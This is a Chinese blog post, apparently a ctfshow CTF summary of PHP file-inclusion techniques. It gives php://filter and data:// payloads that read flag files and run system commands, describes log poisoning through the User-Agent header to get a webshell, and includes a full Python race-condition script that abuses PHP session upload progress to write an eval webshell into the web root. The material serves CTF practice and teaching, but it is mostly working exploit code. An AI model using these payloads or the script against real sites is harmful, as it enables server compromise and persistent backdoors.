一些 php 伪协议就不具体介绍了,也不讲太详细
filter 伪协议可以利用过滤器来读或者写
php://filter/read=convert.base64-encode/resource=flag.php
如上图,不能让 die 函数执行,所以可以利用 filter 伪协议读 content 绕过
file=php://filter/write=string.rot13/resource=1.php
date 伪协议可以用来命令执行
data://text/plain,<?php system('tac f*');
data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs= #配合 base64 绕过
日志包含 getshell(nginx中间件)
include("/var/log/nginx/access.log")
然后修改请求包的 UA 头为一句话,就能拿到 webshell
重头戏就是 session 竞争包含
import requests import threading import io url = "http://8c9dffeb-7496-4b20-9c92-73d258a35abf.challenge.ctf.show/" sessID = 'w1nd' data = { "1": "file_put_contents('/var/www/html/1.php', '<?php eval($_POST[2]);?>');" # read()中需要post的内容 } def write(session): fileBytes = io.BytesIO(b'a' * 1024 * 50) while True: res = session.post(url, data={ 'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[1]);?>' # 改参数的值就是/tmp/sess_w1nd文件的内容 }, cookies={ "PHPSESSID": sessID }, files={ 'file': ('w1nd.png', fileBytes) } ) def read(session): while True: res1 = session.post(url + '?file=/tmp/sess_' + sessID, data=data, cookies={ "PHPSESSID": sessID }) res2 = session.get(url + '1.php') if res2.status_code == 200: print("+++done+++") else: print(res2.status_code) if __name__ == '__main__': event = threading.Event() # 开启多线程的对象 with requests.session() as session: for i in range(5): # 开5个线程 threading.Thread(target=write, args=(session,)).start() for i in range(5): threading.Thread(target=read, args=(session,)).start() event.set() # 唤醒线程
简单介绍下上面 python 程序的功能,如果我们新增名为 PHPSEESID=name 和 PHP_SESSION_UPLOAD_PROGRESS=content 的 cookie,那么 linux 服务器下就会生成包含 content 的 /tmp/sess_name 文件,不过上传后很快就会被删除,我们可以利用这极短的时候进行文件包含,让其执行命令,如上便是在网站根目录下写入一句话木马。并且程序会检测是否写入成功。
标签:总结,__,包含,read,threading,session,ctfshow,php,data From: https://www.cnblogs.com/xshhc/p/16789849.html